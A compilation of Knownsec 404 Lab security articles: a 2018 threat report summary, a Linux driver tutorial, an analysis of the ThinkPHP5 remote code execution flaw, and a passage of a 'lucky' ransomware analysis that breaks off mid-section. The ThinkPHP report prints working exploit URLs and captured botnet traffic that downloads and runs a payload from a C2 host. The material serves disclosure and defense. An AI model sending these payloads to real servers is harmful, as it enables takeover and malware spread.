知道创宇404实验室2018年网络空间安全报告
Elfinx 2019-1-17 7:54 转存

作者:知道创宇404实验室

2018年是网络空间基础建设持续推进的一年,也是网络空间对抗激烈化的一年。IPV6的规模部署,让网络空间几何倍的扩大,带来的将会是攻击目标和攻击形态的转变。更多0day漏洞倾向于在曝光前和1day阶段实现价值最大化,也对防御方有了更高的要求。一手抓建设,一手抓防御,让2018年挑战与机遇并存。

2018年知道创宇404实验室(以下简称404实验室)一共应急了135次,Seebug漏洞平台收录了664个漏洞,相比于2017年,应急的漏洞数量更多、涉及的设备范围更广。

2018年上半年虚拟货币价值高涨所带来的是安全事件频发。区块链产业安全建设无法跟上虚拟货币的价值提升必然会导致安全事件的出现。由于区块链相关的攻击隐蔽且致命,监测、防御、止损等,都成为了区块链安全所需要面临的问题。“昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。《知道创宇以太坊合约审计CheckList》涵盖了超过29种会在以太坊审计过程中会遇到的问题,其中部分问题更是会影响到74.48%已公开源码的合约。

2018年网络空间攻击正呈现出0day/1day漏洞的快速利用化、历史漏洞定期利用化的特点。勒索病毒和挖矿产业在2018年大行其道,僵尸网络在未来的网络空间对抗中也有可能被赋予新的使命。虚拟货币价值高涨让部分存在漏洞的高性能服务器成为挖矿产业的目标,IoT漏洞的不断涌现也让历史僵尸网络不断补充弹药库。

2018年是数据泄漏事件频发曝光的一年。随着暗网用户的增多,黑市及虚拟货币的发展,暗网威胁必定会持续增长。知道创宇404安全研究团队也会持续通过技术手段来测绘暗网,提供威胁情报,追踪和对抗来自暗网的威胁。

完整报告请参阅:《[知道创宇404实验室]2018年网络空间安全报告》


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/788/

原文阅读

从 0 开始学 Linux 驱动开发(一)
Elfinx 2019-1-8 5:56 转存

作者:Hcamael@知道创宇404实验室

最近在搞IoT的时候,因为没有设备,模拟跑固件经常会缺/dev/xxx,所以我就开始想,我能不能自己写一个驱动,让固件能跑起来?因此,又给自己挖了一个很大坑,不管最后能不能达到我的初衷,能学到怎么开发Linux驱动,也算是有很大的收获了。

前言

我写的这个系列以实践为主,不怎么谈理论,理论可以自己去看书,我是通过《Linux Device Drivers》这本书学的驱动开发,Github上有这本书中讲解的实例的代码[1]

虽然我不想谈太多理论,但是关于驱动的基本概念还是要有的。Linux系统分为内核态和用户态,只有在内核态才能访问到硬件设备,而驱动可以算是内核态中提供出的API,供用户态的代码访问到硬件设备。

有了基本概念以后,我就产生了一系列的问题,而我就是通过我的这一系列的问题进行学习的驱动开发:

  1. 一切代码的学习都是从Hello World开始的,怎么写一个Hello World的程序?
  2. 驱动是如何在/dev下生成设备文件的?
  3. 驱动怎么访问实际的硬件?
  4. 因为我毕竟是搞安全的,我会在想,怎么获取系统驱动的代码?或者没有代码那能逆向驱动吗?驱动的二进制文件储存在哪?以后有机会可能还可以试试搞驱动安全。

Everything start from Hello World

提供我的Hello World代码[2]

#include <linux/init.h>
#include <linux/module.h>

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Hcamal");

int hello_init(void)
{
    printk(KERN_INFO "Hello World\n");
    return 0;
}

void hello_exit(void)
{
    printk(KERN_INFO "Goodbye World\n");
}

module_init(hello_init);
module_exit(hello_exit);

Linux下的驱动是使用C语言进行开发的,但是和我们平常写的C语言也有不同,因为我们平常写的C语言使用的是Libc库,但是驱动是跑在内核中的程序,内核中却不存在libc库,所以要使用内核中的库函数。

比如printk可以类比为libc中的printf,这是在内核中定义的一个输出函数,但是我觉得更像Python里面logger函数,因为printk的输出结果是打印在内核的日志中,可以使用dmesg命令进行查看

驱动代码只有一个入口点和一个出口点,把驱动加载到内核中,会执行module_init函数定义的函数,在上面代码中就是hello_init函数。当驱动从内核被卸载时,会调用module_exit函数定义的函数,在上面代码中就是hello_exit函数。

上面的代码就很清晰了,当加载驱动时,输出Hello World,当卸载驱动时,输出Goodbye World

PS:MODULE_LICENSEMODULE_AUTHOR这两个不是很重要,我又不是专业开发驱动的,所以不用关注这两个

PSS: printk输出的结果要加一个换行,要不然不会刷新缓冲区

编译驱动

驱动需要通过make命令进行编译,Makefile如下所示:

ifneq ($(KERNELRELEASE),)

    obj-m := hello.o

else

    KERN_DIR ?= /usr/src/linux-headers-$(shell uname -r)/
    PWD := $(shell pwd)

default:
    $(MAKE) -C $(KERN_DIR) M=$(PWD) modules

endif


clean:
    rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

一般情况下,内核的源码都存在与/usr/src/linux-headers-$(shell uname -r)/目录下

比如:

$ uname -r
4.4.0-135-generic

/usr/src/linux-headers-4.4.0-135/  --> 该内核源码目录
/usr/src/linux-headers-4.4.0-135-generic/    --> 该内核编译好的源码目录

而我们需要的是编译好后的源码的目录,也就是/usr/src/linux-headers-4.4.0-135-generic/

驱动代码的头文件都需要从该目录下进行搜索

M=$(PWD)该参数表示,驱动编译的结果输出在当前目录下

最后通过命令obj-m := hello.o,表示把hello.o编译出hello.ko, 这个ko文件就是内核模块文件

加载驱动到内核

需要使用到的一些系统命令:

  • lsmod: 查看当前已经被加载的内核模块
  • insmod: 加载内核模块,需要root权限
  • rmmod: 移除模块

比如:

# insmod hello.ko        // 把hello.ko模块加载到内核中
# rmmod hello            // 把hello模块从内核中移除

旧版的内核就是使用上面这样的方法进行内核的加载与移除,但是新版的Linux内核增加了对模块的验证,当前实际的情况如下:

# insmod hello.ko
insmod: ERROR: could not insert module hello.ko: Required key not available

从安全的角度考虑,现在的内核都是假设模块为不可信的,需要使用可信的证书对模块进行签名,才能加载模块

解决方法用两种:

  1. 进入BIOS,关闭UEFI的Secure Boot
  2. 向内核添加一个自签名证书,然后使用证书对驱动模块进行签名,参考[3]

查看结果

在/dev下增加设备文件

同样先提供一份代码,然后讲解这份实例代码[4]

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>   /* printk() */
#include <linux/slab.h>     /* kmalloc() */
#include <linux/fs.h>       /* everything... */
#include <linux/errno.h>    /* error codes */
#include <linux/types.h>    /* size_t */
#include <linux/fcntl.h>    /* O_ACCMODE */
#include <linux/cdev.h>
#include <asm/uaccess.h>    /* copy_*_user */


MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Hcamael");

int scull_major =   0;
int scull_minor =   0;
int scull_nr_devs = 4;
int scull_quantum = 4000;
int scull_qset = 1000;

struct scull_qset {
    void **data;
    struct scull_qset *next;
};

struct scull_dev {
    struct scull_qset *data;  /* Pointer to first quantum set. */
    int quantum;              /* The current quantum size. */
    int qset;                 /* The current array size. */
    unsigned long size;       /* Amount of data stored here. */
    unsigned int access_key;  /* Used by sculluid and scullpriv. */
    struct mutex mutex;       /* Mutual exclusion semaphore. */
    struct cdev cdev;     /* Char device structure. */
};

struct scull_dev *scull_devices;    /* allocated in scull_init_module */

/*
 * Follow the list.
 */
struct scull_qset *scull_follow(struct scull_dev *dev, int n)
{
    struct scull_qset *qs = dev->data;

        /* Allocate the first qset explicitly if need be. */
    if (! qs) {
        qs = dev->data = kmalloc(sizeof(struct scull_qset), GFP_KERNEL);
        if (qs == NULL)
            return NULL;
        memset(qs, 0, sizeof(struct scull_qset));
    }

    /* Then follow the list. */
    while (n--) {
        if (!qs->next) {
            qs->next = kmalloc(sizeof(struct scull_qset), GFP_KERNEL);
            if (qs->next == NULL)
                return NULL;
            memset(qs->next, 0, sizeof(struct scull_qset));
        }
        qs = qs->next;
        continue;
    }
    return qs;
}

/*
 * Data management: read and write.
 */

ssize_t scull_read(struct file *filp, char __user *buf, size_t count,
                loff_t *f_pos)
{
    struct scull_dev *dev = filp->private_data;
    struct scull_qset *dptr; /* the first listitem */
    int quantum = dev->quantum, qset = dev->qset;
    int itemsize = quantum * qset; /* how many bytes in the listitem */
    int item, s_pos, q_pos, rest;
    ssize_t retval = 0;

    if (mutex_lock_interruptible(&dev->mutex))
        return -ERESTARTSYS;
    if (*f_pos >= dev->size)
        goto out;
    if (*f_pos + count > dev->size)
        count = dev->size - *f_pos;

    /* Find listitem, qset index, and offset in the quantum */
    item = (long)*f_pos / itemsize;
    rest = (long)*f_pos % itemsize;
    s_pos = rest / quantum; q_pos = rest % quantum;

    /* follow the list up to the right position (defined elsewhere) */
    dptr = scull_follow(dev, item);

    if (dptr == NULL || !dptr->data || ! dptr->data[s_pos])
        goto out; /* don't fill holes */

    /* read only up to the end of this quantum */
    if (count > quantum - q_pos)
        count = quantum - q_pos;

    if (raw_copy_to_user(buf, dptr->data[s_pos] + q_pos, count)) {
        retval = -EFAULT;
        goto out;
    }
    *f_pos += count;
    retval = count;

  out:
    mutex_unlock(&dev->mutex);
    return retval;
}

ssize_t scull_write(struct file *filp, const char __user *buf, size_t count,
                loff_t *f_pos)
{
    struct scull_dev *dev = filp->private_data;
    struct scull_qset *dptr;
    int quantum = dev->quantum, qset = dev->qset;
    int itemsize = quantum * qset;
    int item, s_pos, q_pos, rest;
    ssize_t retval = -ENOMEM; /* Value used in "goto out" statements. */

    if (mutex_lock_interruptible(&dev->mutex))
        return -ERESTARTSYS;

    /* Find the list item, qset index, and offset in the quantum. */
    item = (long)*f_pos / itemsize;
    rest = (long)*f_pos % itemsize;
    s_pos = rest / quantum;
    q_pos = rest % quantum;

    /* Follow the list up to the right position. */
    dptr = scull_follow(dev, item);
    if (dptr == NULL)
        goto out;
    if (!dptr->data) {
        dptr->data = kmalloc(qset * sizeof(char *), GFP_KERNEL);
        if (!dptr->data)
            goto out;
        memset(dptr->data, 0, qset * sizeof(char *));
    }
    if (!dptr->data[s_pos]) {
        dptr->data[s_pos] = kmalloc(quantum, GFP_KERNEL);
        if (!dptr->data[s_pos])
            goto out;
    }
    /* Write only up to the end of this quantum. */
    if (count > quantum - q_pos)
        count = quantum - q_pos;

    if (raw_copy_from_user(dptr->data[s_pos]+q_pos, buf, count)) {
        retval = -EFAULT;
        goto out;
    }
    *f_pos += count;
    retval = count;

        /* Update the size. */
    if (dev->size < *f_pos)
        dev->size = *f_pos;

  out:
    mutex_unlock(&dev->mutex);
    return retval;
}

/* Beginning of the scull device implementation. */

/*
 * Empty out the scull device; must be called with the device
 * mutex held.
 */
int scull_trim(struct scull_dev *dev)
{
    struct scull_qset *next, *dptr;
    int qset = dev->qset;   /* "dev" is not-null */
    int i;

    for (dptr = dev->data; dptr; dptr = next) { /* all the list items */
        if (dptr->data) {
            for (i = 0; i < qset; i++)
                kfree(dptr->data[i]);
            kfree(dptr->data);
            dptr->data = NULL;
        }
        next = dptr->next;
        kfree(dptr);
    }
    dev->size = 0;
    dev->quantum = scull_quantum;
    dev->qset = scull_qset;
    dev->data = NULL;
    return 0;
}

int scull_release(struct inode *inode, struct file *filp)
{
    printk(KERN_DEBUG "process %i (%s) success release minor(%u) file\n", current->pid, current->comm, iminor(inode));
    return 0;
}

/*
 * Open and close
 */

int scull_open(struct inode *inode, struct file *filp)
{
    struct scull_dev *dev; /* device information */

    dev = container_of(inode->i_cdev, struct scull_dev, cdev);
    filp->private_data = dev; /* for other methods */

    /* If the device was opened write-only, trim it to a length of 0. */
    if ( (filp->f_flags & O_ACCMODE) == O_WRONLY) {
        if (mutex_lock_interruptible(&dev->mutex))
            return -ERESTARTSYS;
        scull_trim(dev); /* Ignore errors. */
        mutex_unlock(&dev->mutex);
    }
    printk(KERN_DEBUG "process %i (%s) success open minor(%u) file\n", current->pid, current->comm, iminor(inode));
    return 0;
}

/*
 * The "extended" operations -- only seek.
 */

loff_t scull_llseek(struct file *filp, loff_t off, int whence)
{
    struct scull_dev *dev = filp->private_data;
    loff_t newpos;

    switch(whence) {
      case 0: /* SEEK_SET */
        newpos = off;
        break;

      case 1: /* SEEK_CUR */
        newpos = filp->f_pos + off;
        break;

      case 2: /* SEEK_END */
        newpos = dev->size + off;
        break;

      default: /* can't happen */
        return -EINVAL;
    }
    if (newpos < 0)
        return -EINVAL;
    filp->f_pos = newpos;
    return newpos;
}

struct file_operations scull_fops = {
    .owner =    THIS_MODULE,
    .llseek =   scull_llseek,
    .read =     scull_read,
    .write =    scull_write,
    // .unlocked_ioctl = scull_ioctl,
    .open =     scull_open,
    .release =  scull_release,
};

/*
 * Set up the char_dev structure for this device.
 */
static void scull_setup_cdev(struct scull_dev *dev, int index)
{
    int err, devno = MKDEV(scull_major, scull_minor + index);

    cdev_init(&dev->cdev, &scull_fops);
    dev->cdev.owner = THIS_MODULE;
    dev->cdev.ops = &scull_fops;
    err = cdev_add (&dev->cdev, devno, 1);
    /* Fail gracefully if need be. */
    if (err)
        printk(KERN_NOTICE "Error %d adding scull%d", err, index);
    else
        printk(KERN_INFO "scull: %d add success\n", index);
}


void scull_cleanup_module(void)
{
    int i;
    dev_t devno = MKDEV(scull_major, scull_minor);

    /* Get rid of our char dev entries. */
    if (scull_devices) {
        for (i = 0; i < scull_nr_devs; i++) {
            scull_trim(scull_devices + i);
            cdev_del(&scull_devices[i].cdev);
        }
        kfree(scull_devices);
    }

    /* cleanup_module is never called if registering failed. */
    unregister_chrdev_region(devno, scull_nr_devs);
    printk(KERN_INFO "scull: cleanup success\n");
}


int scull_init_module(void)
{
    int result, i;
    dev_t dev = 0;

    /*
     * Get a range of minor numbers to work with, asking for a dynamic major
     * unless directed otherwise at load time.
     */
    if (scull_major) {
        dev = MKDEV(scull_major, scull_minor);
        result = register_chrdev_region(dev, scull_nr_devs, "scull");
    } else {
        result = alloc_chrdev_region(&dev, scull_minor, scull_nr_devs, "scull");
        scull_major = MAJOR(dev);
    }
    if (result < 0) {
        printk(KERN_WARNING "scull: can't get major %d\n", scull_major);
        return result;
    } else {
        printk(KERN_INFO "scull: get major %d success\n", scull_major);
    }

        /*
     * Allocate the devices. This must be dynamic as the device number can
     * be specified at load time.
     */
    scull_devices = kmalloc(scull_nr_devs * sizeof(struct scull_dev), GFP_KERNEL);
    if (!scull_devices) {
        result = -ENOMEM;
        goto fail;
    }
    memset(scull_devices, 0, scull_nr_devs * sizeof(struct scull_dev));

        /* Initialize each device. */
    for (i = 0; i < scull_nr_devs; i++) {
        scull_devices[i].quantum = scull_quantum;
        scull_devices[i].qset = scull_qset;
        mutex_init(&scull_devices[i].mutex);
        scull_setup_cdev(&scull_devices[i], i);
    }

    return 0; /* succeed */

  fail:
    scull_cleanup_module();
    return result;
}

module_init(scull_init_module);
module_exit(scull_cleanup_module);

知识点1 -- 驱动分类

驱动分为3类,字符设备、块设备和网口接口,上面代码举例的是字符设备,其他两种,之后再说。

如上图所示,brw-rw----权限栏,b开头的表示块设备(block),c开头的表示字符设备(char)

知识点2 -- 主次编号

主编号用来区分驱动,一般主编号相同的表示由同一个驱动程序控制。

一个驱动中能创建多个设备,用次编号来区分。

主编号和次编号一起,决定了一个驱动设备。

如上图所示,

brw-rw----  1 root disk      8,   0 Dec 17 13:02 sda
brw-rw----  1 root disk      8,   1 Dec 17 13:02 sda1

设备sdasda1的主编号为8,一个此编号为0一个此编号为1

知识点3 -- 驱动是如何提供API的

在我的概念中,驱动提供的接口是/dev/xxx,在Linux下Everything is File,所以对驱动设备的操作其实就是对文件的操作,所以一个驱动就是用来定义,打开/读/写/......一个/dev/xxx将会发生啥,驱动提供的API也就是一系列的文件操作。

有哪些文件操作?都被定义在内核<linux/fs.h>[5]头文件中,file_operations结构体

上面我举例的代码中:

struct file_operations scull_fops = {
    .owner =    THIS_MODULE,
    .llseek =   scull_llseek,
    .read =     scull_read,
    .write =    scull_write,
    .open =     scull_open,
    .release =  scull_release,
};

我声明了一个该结构体,并赋值,除了owner,其他成员的值都为函数指针

之后我在scull_setup_cdev函数中,使用cdev_add向每个驱动设备,注册该文件操作结构体

比如我对该驱动设备执行open操作,则会去执行scull_open函数,相当于hook了系统调用中的open函数

知识点4 -- 在/dev下生成相应的设备

对上面的代码进行编译,得到scull.ko,然后对其进行签名,最后使用insmod加载进内核中

查看是否成功加载:

虽然驱动已经加载成功了,但是并不会在/dev目录下创建设备文件,需要我们手动使用mknod进行设备链接:

总结

在该实例中,并没有涉及到对实际物理设备的操作,只是简单的使用kmalloc在内核空间申请一块内存。代码细节上的就不做具体讲解了,都可以通过查头文件或者用Google搜出来。

再这里分享一个我学习驱动开发的方法,首先看书把基础概念给弄懂,细节到需要用到的时候再去查。

比如,我不需要知道驱动一共能提供有哪些API(也就是file_operations结构都有啥),我只要知道一个概念,驱动提供的API都是一些文件操作,而文件操作,目前我只需要open, close, read, write,其他的等有需求,要用到的时候再去查。

参考

  1. https://github.com/jesstess/ldd4
  2. https://raw.githubusercontent.com/Hcamael/Linux_Driver_Study/master/hello.c
  3. https://jin-yang.github.io/post/kernel-modules.html
  4. https://raw.githubusercontent.com/Hcamael/Linux_Driver_Study/master/scull.c
  5. https://raw.githubusercontent.com/torvalds/linux/master/include/linux/fs.h

Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/779/

原文阅读

Thinkphp5 远程代码执行漏洞事件分析报告
Elfinx 2018-12-25 4:57 转存
作者:知道创宇404实验室
时间:2018年12月19日

0x00 背景

2018年12月10日,ThinkPHP 官方发布《ThinkPHP 5.* 版本安全更新》,修复了一个远程代码执行漏洞。由于 ThinkPHP 框架对控制器名没有进行足够的检测,导致攻击者可能可以实现远程代码执行。

知道创宇404实验室漏洞情报团队第一时间开始漏洞应急,复现了该漏洞,并进行深入分析。经过一系列测试和源码分析,最终确定漏洞影响版本为:

  • ThinkPHP 5.0.5-5.0.22
  • ThinkPHP 5.1.0-5.1.30

在漏洞曝光后的第一时间,知道创宇404实验室积极防御团队积极排查知道创宇云安全的相关日志,发现该漏洞最早从 2018年9月开始,尚处于 0day 阶段时就已经被用于攻击多个虚拟货币类、金融类网站。

在漏洞披露后的一周时间内,404实验室内部蜜罐项目也多次捕获到利用该漏洞进行攻击的案例,可以看到该漏洞曝光后短短8天就被僵尸网络整合到恶意样本中,并可以通过蠕虫的方式在互联网中传播。

由于该漏洞触发方式简单、危害巨大,知道创宇404实验室在研究漏洞原理后,整理攻击事件,最终发布该漏洞事件报告。

0x01 漏洞分析

1.1 漏洞成因

该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞,本文以ThinkPHP5.0.22为例进行分析。

通过查看手册可以得知tp5支持多种路由定义方式:

https://www.kancloud.cn/manual/thinkphp5/118037

这里值得注意的地方有两个,一个是路由定义方式4,tp5可以将请求路由到指定类的指定方法(必须是public方法)中;另一个是即使没有定义路由,tp5默认会按照方式1对URL进行解析调度。

然后来看一下具体的代码实现:

thinkphp/library/think/App.php

由于没有在配置文件定义任何路由,所以默认按照方式1解析调度。如果开启强制路由模式,会直接抛出错误。

thinkphp/library/think/Route.php

可以看到tp5在解析URL的时候只是将URL按分割符分割,并没有进行安全检测。继续往后跟:

thinkphp/library/think/App.php

在攻击时注意使用一个已存在的module,否则会抛出异常,无法继续运行。

此处在获取控制器名时直接从之前的解析结果中获取,无任何安全检查。

在这里对控制器类进行实例化,跟进去看一下:

thinkphp/library/think/Loader.php

根据传入的name获取对应的类,如果存在就直接返回这个类的一个实例化对象。

跟进getModuleAndClass方法:

可以看到如果控制器名中有\,就直接返回。

回到thinkphp/library/think/App.phpmodule方法,正常情况下应该获取到对应控制器类的实例化对象,而我们现在得到了一个\think\App的实例化对象,进而通过url调用其任意的public方法,同时解析url中的额外参数,当作方法的参数传入。

1.2 漏洞影响版本

在与小伙伴做测试的时候,意外发现5.0.5版本使用现有的payload不生效,会报控制器不存在的错误。跟进代码之后发现了一些小问题,下面是ThinkPHP 5.0.5thinkphp/library/think/Loader.phpcontroller方法:

以payload?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id为例,我们将控制器名设置为\think\appstrpos返回了0,由于php弱类型问题,无法进入407行的判断,导致payload无效。这里可以将第一个\去掉来使payload生效,payload如下:

?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id

继续查看ThinkPHP5.0.0-5.0.4的相关代码,发现5.0.0-5.0.4版本并没有对控制器名中有\的情况进行特殊处理,payload无法生效。

以下是thinkphp 5.0.4thinkphp/library/think/Loader.php的相关代码:

可以看到没有进行特殊处理,会统一进入parseClass进行统一处理。

过滤掉了/ .,并且在最后会在前面拼接上控制器类的namespace,导致payload无法生效。从而最终确定ThinkPHP5.0受影响的版本为5.0.5-5.0.22

1.3 漏洞防御

  1. 升级到Thinkphp最新版本:5.0.23、5.0.31
  2. 养成良好的开发习惯,使用强制路由模式,但不建议在线上环境直接开启该模式。
  3. 直接添加补丁,在thinkphp5.0版本的thinkphp/library/think/App.php554行,thinkphp5.1版本的thinkphp/library/think/route/dispatch/Url.php63行添加如下代码:

<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">preg_match<span class="token punctuation">(</span></span><span class="token string">'/^[A-Za-z](\w|\.)*$/'</span><span class="token punctuation">,</span> <span class="token variable">$controller</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
       <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">HttpException</span><span class="token punctuation">(</span><span class="token number">404</span><span class="token punctuation">,</span> <span class="token string">'controller not exists:'</span> <span class="token punctuation">.</span> <span class="token variable">$controller</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
   <span class="token punctuation">}</span>

0x02 实际攻击分析

知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”最早于2018年9月3日捕获该漏洞的payload,随后针对这个漏洞的攻击情况做了详细的监控及跟进:

2.1 0day在野

在官方发布更新前,在知道创宇云安全的日志中共检测到62次漏洞利用请求,以下是对部分攻击事件的分析。

2018年9月3日,ip 58.49.*.*(湖北武汉)对某网站发起攻击,使用的payload如下:

/?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=file_put_contents&amp;vars[1][]=1.php&amp;vars[1][]=&lt;?php phpinfo();?&gt;

这是一个日后被广泛利用的payload,通过调用file_put_contents将php代码写入文件来验证漏洞是否存在。

2018年10月16日,该ip又对另一网站进行攻击,此次攻击使用的payload如下:

/?s=index/\think\container/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1

此payload针对Thinkphp 5.1.x,直接调用phpinfo,简化了漏洞验证流程。值得一提的是,该ip是日志中唯一一个在不同日期发起攻击的ip。

2018年10月6日,ip 172.111.*.*(奥地利)对多个虚拟币类网站发起攻击,payload均是调用file_put_contents写入文件以验证漏洞是否存在:

/index.php/?s=index/%5Cthink%5Capp/invokefunction&amp;function=call_user_func_array&amp;vars%5B0%5D=file_put_contents&amp;vars%5B1%5D%5B%5D=readme.txt&amp;vars%5B1%5D%5B%5D=1

2018年12月9日,ip 45.32.*.*(美国)对多个投资金融类网站发起攻击,payload都是调用phpinfo来进行漏洞验证:

/?s=admin/%5Cthink%5Capp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1

2.2 0day曝光后

在官方发布安全更新后,知道创宇404实验室成功复现了漏洞,并更新了WAF防护策略。与此同时,攻击数量激增,漏洞被广泛利用。在官方发布安全更新的8天时间里(2018/12/09 - 2018/12/17),共有5570个IP对486962个网站发起2566078次攻击。

与此同时,404实验室内部蜜罐项目从漏洞披露后三天(12月13日)开始,捕获到对该漏洞的探测,在如下几个目录进行探测:

/TP/public/index.php 
/TP/index.php 
/thinkphp/html/public/index.php  
/thinkphp/public/index.php 
/html/public/index.php 
/public/index.php 
/index.php 
/TP/html/public/index.php

使用的探测拼接参数为:

?s=/index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=md5&amp;vars[1][]=HelloThinkPHP

12月18日,已有僵尸网络将该漏洞exp整合到恶意样本中,在互联网上传播。捕获的攻击流量为:

GET /index.php?s=/index/%5Cthink%5Capp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=shell_exec&amp;vars1=wget%20http://cnc.arm7plz.xyz/bins/set.x86%20-O%20/tmp/.eSeAlg;%20chmod%20777%20/tmp/.eSeAlg;%20/tmp/.eSeAlg%20thinkphp HTTP/1.1

经过简单分析,该样本使用 CVE-2017-17215 、CNVD-2014-01260 和 ThinkPHP5 远程代码执行漏洞进行传播。

0x03 小结

此漏洞是继ECShop代码执行漏洞之后,又一次经典的0day漏洞挖掘利用过程。从漏洞刚被挖掘出来时的试探性攻击,到之后有目的、有针对性地攻击虚拟币类、投资金融类的网站,最后到漏洞曝光后的大规模批量性攻击,成为黑产和僵尸网络的工具,给我们展示了一条完整的0day漏洞生命线。由于ThinkPHP是一个开发框架,有大量cms、私人网站在其基础上进行开发,所以该漏洞的影响可能比我们看到的更加深远。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/770/

原文阅读

lucky 勒索病毒分析与文件解密
Elfinx 2018-12-17 4:25 转存
作者:Hcamael & 0x7F@知道创宇404实验室
时间:2018年12月4日

0x00 前言

近日,互联网上爆发了一种名为 lucky 的勒索病毒,该病毒会将指定文件加密并修改后缀名为 .lucky

知道创宇 404 实验室的炼妖壶蜜罐系统最早于 2018.11.10 就捕捉到该勒索病毒的相关流量,截止到 2018.12.04 日,该病毒的 CNC 服务器依然存活。

根据分析的结果可以得知 lucky 勒索病毒几乎就是 Satan 勒索病毒,整体结构并没有太大改变,包括 CNC 服务器也没有更改。Satan 病毒一度变迁:最开始的勒索获利的方式变为挖矿获利的方式,而新版本的 lucky 勒索病毒结合了勒索和挖矿。

知道创宇 404 实验室在了解该勒索病毒的相关细节后,迅速跟进并分析了该勒索病毒;着重分析了该病毒的加密模块,并意外发现可以利用伪随机数的特性,还原加密密钥,并成功解密了文件,Python 的解密脚本链接: https://github.com/knownsec/Decrypt-ransomware

本文对 lucky 勒索病毒进行了概要分析,并着重分析了加密流程以及还原密钥的过程。

0x01 lucky 病毒简介

lucky 勒索病毒可在 Windows 和 Linux 平台上传播执行,主要功能分为「文件加密」、「传播感染」与「挖矿」。

文件加密
lucky 勒索病毒遍历文件夹,对如下后缀名的文件进行加密,并修改后缀名为 .lucky

bak,sql,mdf,ldf,myd,myi,dmp,xls,xlsx,docx,pptx,eps,
txt,ppt,csv,rtf,pdf,db,vdi,vmdk,vmx,pem,pfx,cer,psd

为了保证系统能够正常的运行,该病毒加密时会略过了系统关键目录,如:

Windows: windows, microsoft games, 360rec, windows mail 等等
Linux: /bin/, /boot/, /lib/, /usr/bin/ 等等

传播感染
lucky 勒索病毒的传播模块并没有做出新的特色,仍使用了以下的漏洞进行传播:

1.JBoss反序列化漏洞(CVE-2013-4810)
2.JBoss默认配置漏洞(CVE-2010-0738)
3.Tomcat任意文件上传漏洞(CVE-2017-12615)
4.Tomcat web管理后台弱口令爆破
5.Weblogic WLS 组件漏洞(CVE-2017-10271)
6.Windows SMB远程代码执行漏洞MS17-010
7.Apache Struts2远程代码执行漏洞S2-045
8.Apache Struts2远程代码执行漏洞S2-057

挖矿
该勒索病毒采用自建矿池地址:194.88.105.5:443,想继续通过挖矿获得额外的收益。同时,该矿池地址也是 Satan 勒索病毒变种使用的矿池地址。

运行截图

0x02 病毒流程图

lucky 勒索病毒的整体结构依然延续 Satan 勒索病毒的结构,包括以下组件:

预装载器:fast.exe/ft32,文件短小精悍,用于加载加密模块和传播模块
加密模块:cpt.exe/cry32,加密模块,对文件进行加密
传播模块:conn.exe/conn32,传播模块,利用多个应用程序漏洞进行传播感染
挖矿模块:mn32.exe/mn32,挖矿模块,连接自建矿池地址
服务模块:srv.exe,在 windows 下创建服务,稳定执行

流程图大致如下:

lucky 勒索病毒的每个模块都使用了常见的壳进行加壳保护,比如 UPXMPRESS,使用常见的脱壳软件进行自动脱壳即可。

0x03 加密流程

对于一个勒索病毒来说,最重要的就是其加密模块。在 lucky 勒索病毒中,加密模块是一个单独的可执行文件,下面对加密模块进行详细的分析。(以 Windows 下的 cpt.exe 作为分析样例)

1.脱去upx
cpt.exe 使用 upx 进行加壳,使用常见的脱壳工具即可完成脱壳。

2.加密主函数
使用 IDA 加载脱壳后的 cpt.exe.unp,在主函数中有大量初始化的操作,忽略这些操作,跟入函数可以找到加密逻辑的主函数,下面对这些函数进行标注:

generate_key: 生成 60 位随机字符串,用于后续加密文件。
wait_sleep: 等待一段时间。
generate_session: 生成 16 位随机字符串,作为用户的标志(session)。
lucky_crypto_entry: 具体加密文件的函数。
send_info_to_server: 向服务器报告加密完成。

大致的加密流程就是函数标注的如此,最后写入一个文件 c:\\_How_To_Decrypt_My_File_.Dic,通知用户遭到了勒索软件加密,并留下了比特币地址。

3.generate_key()
该函数是加密密钥生成函数,利用随机数从预设的字符串序列中随机选出字符,组成一个长度为 60 字节的密钥。

byte_56F840 为预设的字符串序列,其值为:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789

4.generate_session()
加密模块中使用该函数为每个用户生成一个标识,用于区分用户;其仍然使用随机数从预设的字符串序列中随机选出字符,最后组成一个长度为 16 字节的 session,并存入到 C:\\Windows\\Temp\\Ssession 文件下。

其中 byte_56F800 字符串为:

ABCDEFGHIJPQRSTUVWdefghijklmnopqrstuvwx3456789

5.lucky_crypto_entry()

文件名格式

该函数为加密文件的函数入口,提前拼接加密文件的文件名格式,如下:

被加密的文件的文件名格式如下:

[nmare@cock.li]filename.AiVjdtlUjI9m45f6.lucky

其中 filename 是文件本身的名字,后续的字符串是用户的 session。

通知服务器

在加密前,还会首先向服务器发送 HTTP 消息,通知服务器该用户开始执行加密了:

HTTP 数据包格式如下:

